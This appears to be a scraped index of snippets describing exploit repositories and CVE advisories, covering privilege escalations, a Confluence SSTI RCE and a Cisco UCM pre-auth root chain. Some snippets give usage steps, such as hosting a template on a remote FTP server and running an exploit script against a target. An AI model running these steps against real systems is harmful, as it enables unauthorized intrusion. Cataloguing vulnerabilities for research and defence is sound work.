0days-in-the-wild

0-days explotados en la naturaleza Este repositorio es una referencia de documentos sobre vulnerabilidades de día cero detectadas como explotadas en la naturaleza. Incluye tanto análisis de causa raíz RCA para cada exploit de día cero como una tabla que rastrea cada día cero. Estos documentos est...

0days-in-the-wild

0-days Exploited In-The-Wild This repository is a reference of documents about 0-day vulnerabilities detected as exploited in-the-wild. It includes both root cause analyses RCAs for each 0-day exploit as well as a table tracking each 0-day. These documents are intended to be viewed via the Github...

CVE-2026-31787

XSA-487 / CVE-2026-31787 Linux kernel double free in Xen privcmd driver A double free of kernel memory in the Linux kernel's Xen privcmd driver allows circumvention of kernel lockdown secure boot. Exploitation requires root-level access, which limits the broader security implications...

omae-wa-cheese-da

omae-wa-cheese-da Image L/E física arbitraria de GPU CVE-2025-21479 - filtración de KASLR - SELinux permisivo - servidor root de gancho de inicio seguro de RKP & bypass de DEFEX ejecución de binario personalizado LDPRELOAD Tarda unos 6 minutos.. Ten paciencia. Lo optimizaré después. Dispositivos...

CVE-2019-3396_EXP

CVE-2019-3396EXP CVE-2019-3396 confluence SSTI RCE 1、put the cmd.vm on your website must use ftp or https ,http doesn't work 2、modify RCEexp.py ，change the filename = 'ftp://1.1.1.1/cmd.vm' （python -m pyftpdlib -p 21） 3、python RECexp.py http://test.wikitest.cc:8080 "whoami" $ python RECexp.py...

CVE-2025-32463

CVE-2025-32463 Local Privilege Escalation to Root via Sudo chroot in Linux 🛑 Vulnerability Summary CVE-2025-32463 is a local privilege escalation vulnerability in the Sudo binary. The flaw allows a local user to escalate privileges to root under specific misconfigurations or with crafted inputs...

IoT-Vulnerability-Research-Public

Hardware Security & Vulnerability Research This repository serves as a centralized public archive for my independent vulnerability research, hardware audits, and Coordinated Vulnerability Disclosures CVD. All proof-of-concept scripts, firmware extractions, and hardware teardowns are published her...

CVE-2025-6019

CVE-2025-6019 Proof of Concept PoC This repository contains a Proof of Concept PoC script for CVE-2025-6019 , a Local Privilege Escalation LPE vulnerability in libblockdev and udisks. The script creates an XFS filesystem image with an SUID bash binary and exploits the vulnerability to mount it...

yersinia

Árbol de expansión 1: Ataque DoS enviando BPDUs de configuración root@kitploit: ¡Enviemos algunos BPDUs de configuración afirmando ser la raíz!!! Al enviar continuamente BPDUs de configuración con root pathcost 0, ID de puente generado aleatoriamente y por lo tanto el mismo ID raíz, y algunos...

Silent-Call

Silent;Call Pre-authentication remote root on Cisco Unified Communications Manager 15.x Three HTTP requests. Zero credentials. Root access. Every call is now yours. Kill Chain Step| Component| Description ---|---|--- 1| Spoofhack| X-Forwarded-For header spoofing bypasses localhost restriction on...

CVE-2022-0997

Fidelis Network and Deception - CVE-2022-0997 - Insecure File Permissions Privilege Escalation Releasability and Acknowledgements The exploit was approved for public release by the United States Government. Special thanks to the servicemen and government liaisons tasked with approving the...

CVE-2025-64155

CVE-2025-64155: Fortinet FortiSIEM Argument Injection to Remote Code Execution Proof of concept exploit for Fortinet FortiSIEM which abuses an argument injection to write a file to gain code execution as root Blog Post Deep-dive analysis here: Horizon3.ai - CVE-2025-64155: Three Years of Remotely...

exploit_CVE-2021-3560

CVE-2021-3560 Exploit Script This script exploits CVE-2021-3560, a vulnerability in polkit that allows privilege escalation to root. Usage After cloning the repository, grant execution permissions and run the script: root@kitploit: chmod +x exploit.sh ./exploit.sh Expected Outcome After running t...

CVE-2025-32463

CVE-2025-32463 Exploit Overview This repository provides a Go-based exploit tool for CVE-2025-32463 , a critical local privilege escalation vulnerability CVSS 9.3 in sudo versions 1.9.14 to 1.9.17. It allows unauthorized local users to gain root access by exploiting a flaw in the --chroot -R...

CVE-2021-4034

CVE-2021-4034 One day for the polkit privilege escalation exploit Just execute make, ./cve-2021-4034 and enjoy your root shell. The original advisory by the real authors is here PoC If the exploit is working you'll get a root shell immediately: root@kitploit: vagrant@ubuntu-impish:/CVE-2021-4034$...

DEBIAN-CVE-2026-91840

A flaw was found in NetworkManager-vpnc. This vulnerability allows a local unprivileged user to escalate privileges to root. By injecting a newline character into the VPN username field, an attacker can manipulate the vpnc configuration to execute an arbitrary program with root privileges when th...

CVE-2026-91838

A flaw was found in NetworkManager-sstp, the SSTP VPN plugin for NetworkManager. A local unprivileged user can exploit this vulnerability by embedding special characters, known as shell metacharacters, into VPN connection profile fields such as CA certificate or proxy settings. These unescaped...

CVE-2026-91840

A flaw was found in NetworkManager-vpnc. This vulnerability allows a local unprivileged user to escalate privileges to root. By injecting a newline character into the VPN username field, an attacker can manipulate the vpnc configuration to execute an arbitrary program with root privileges when th...

DEBIAN-CVE-2026-91841

A flaw was found in NetworkManager-vpnc, a VPN plugin for NetworkManager. A local unprivileged user can exploit this vulnerability by injecting a newline character into the CA-File path. This manipulation allows the user to execute arbitrary commands as the root user, leading to local privilege...

CVE-2026-91839

A flaw was found in NetworkManager-fortisslvpn, the FortiSSLVPN plugin for NetworkManager. The nm-fortisslvpn-service improperly handles carriage-return/line-feed CR/LF characters in VPN connection profile credentials. A local unprivileged user can exploit this by crafting a malicious VPN profile...